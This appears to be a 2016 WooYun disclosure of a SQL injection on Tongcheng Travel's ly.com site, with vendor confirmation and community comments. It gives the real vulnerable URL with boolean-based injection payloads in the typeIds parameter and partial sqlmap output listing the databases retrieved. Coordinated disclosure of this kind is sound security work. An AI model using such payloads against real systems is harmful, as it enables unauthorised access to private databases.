当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0196030

漏洞标题：同程旅游网主站的一处SQL注入

相关厂商：苏州同程旅游网络科技有限公司

漏洞作者： 李长歌

提交时间：2016-04-13 23:27

修复时间：2016-05-29 01:40

公开时间：2016-05-29 01:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-13： 细节已通知厂商并且等待厂商处理中
2016-04-14： 厂商已经确认，细节仅向厂商公开
2016-04-24： 细节向核心白帽子及相关领域专家公开
2016-05-04： 细节向普通白帽子公开
2016-05-14： 细节向实习白帽子公开
2016-05-29： 细节向公众公开

简要描述：

主站为什么没有WAF呢。

详细说明：

http://www.ly.com/bustour/json/GetOpenedCityList.html?OrdTypeId=165&typeIds=155,156,157)%20and%20104=104--%20&iid=0.16461771167814732 有数据

QQ截图20160413221558.jpg


http://www.ly.com/bustour/json/GetOpenedCityList.html?OrdTypeId=165&typeIds=155,156,157)%20and%20104=105--%20&iid=0.16461771167814732 没有数据

QQ截图20160413221544.jpg


放入SQLmap中注入

QQ截图20160413220844.jpg

漏洞证明：

部分测试的数据

[22:09:27] [INFO] retrieved: TcShortTourResource
[22:10:52] [INFO] retrieved: master
[22:11:11] [INFO] retrieved: tempdb
[22:11:32] [INFO] retrieved: model
[22:11:54] [INFO] retrieved: msdb
[22:12:19] [INFO] retrieved: TcShortTourDCResource
[22:13:28] [INFO] retrieved: TcShortTourLog
[22:14:21] [INFO] retrieved: TcShortTourOrder
[22:15:19] [INFO] retrieved: TcShortTourResource
[22:16:34] [INFO] retrieved: TcShortTourShop
[22:17:35] [INFO] retrieved: TcShortTourStatement
...


QQ截图20160413224106.jpg

修复方案：

typeIds参数进行过滤下，加入WAF

版权声明：转载请注明来源 李长歌@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2016-04-14 01:31

厂商回复：

感谢关注同程旅游，WAF这些天确实临时下线了。

最新状态：

暂无

漏洞评价：

评价

  1. 2016-04-13 23:28 | _Thorns ( 普通白帽子 | Rank:1719 漏洞数:264 | 以大多数人的努力程度之低，根本轮不到去拼...)

    大表哥，你要不要这么厉害。

  2. 2016-04-13 23:48 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2302 漏洞数:307 | 没好团队，啥都干不成！！！)

    额。。。没waf,表哥怎么看？

  3. 2016-04-14 00:07 | onpu ( 普通白帽子 | Rank:369 漏洞数:65 | 不轻诺 故我不负人 、不信诺 故人不负我。)

    估计厂商回复，好尴尬吖，刚关waf你就来

  4. 2016-04-14 00:16 | Aasron ( 普通白帽子 | Rank:853 漏洞数:156 | raw_input("你知道我要输入什么？"))

    waf....

  5. 2016-04-14 06:52 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)

    牛逼

  6. 2016-04-14 08:19 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    WAF为什么要下线?换一种?

  7. 2016-04-14 08:30 | whynot ( 普通白帽子 | Rank:678 漏洞数:136 | 为你解冻冰河 为你放弃世界有何不可)

    waf这几天有事..大表哥，你要不要这么厉害。

  8. 2016-04-14 09:01 | 幻老头儿 ( 普通白帽子 | Rank:275 漏洞数:61 | 新手上路。)

    waf是谁？

  9. 2016-04-14 09:13 | Taro ( 普通白帽子 | Rank:329 漏洞数:81 | 走向最远的方向，哪怕前路迷茫；抱着最大的...)

    为啥大家总是在waf关闭的时候挖到漏洞呢

  10. 2016-04-14 12:16 | 纯情 ( 路人 | Rank:19 漏洞数:3 | 站在人生的顶端，俯视生命的千姿百态。)

    内幕

  11. 2016-05-09 17:31 | 李长歌 ( 普通白帽子 | Rank:411 漏洞数:44 | http://www.wooyun.org/)

    刚收了给发的京东卡，同程安全还是挺不错的，感谢。

  12. 2016-05-15 21:20 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)

    运气真好～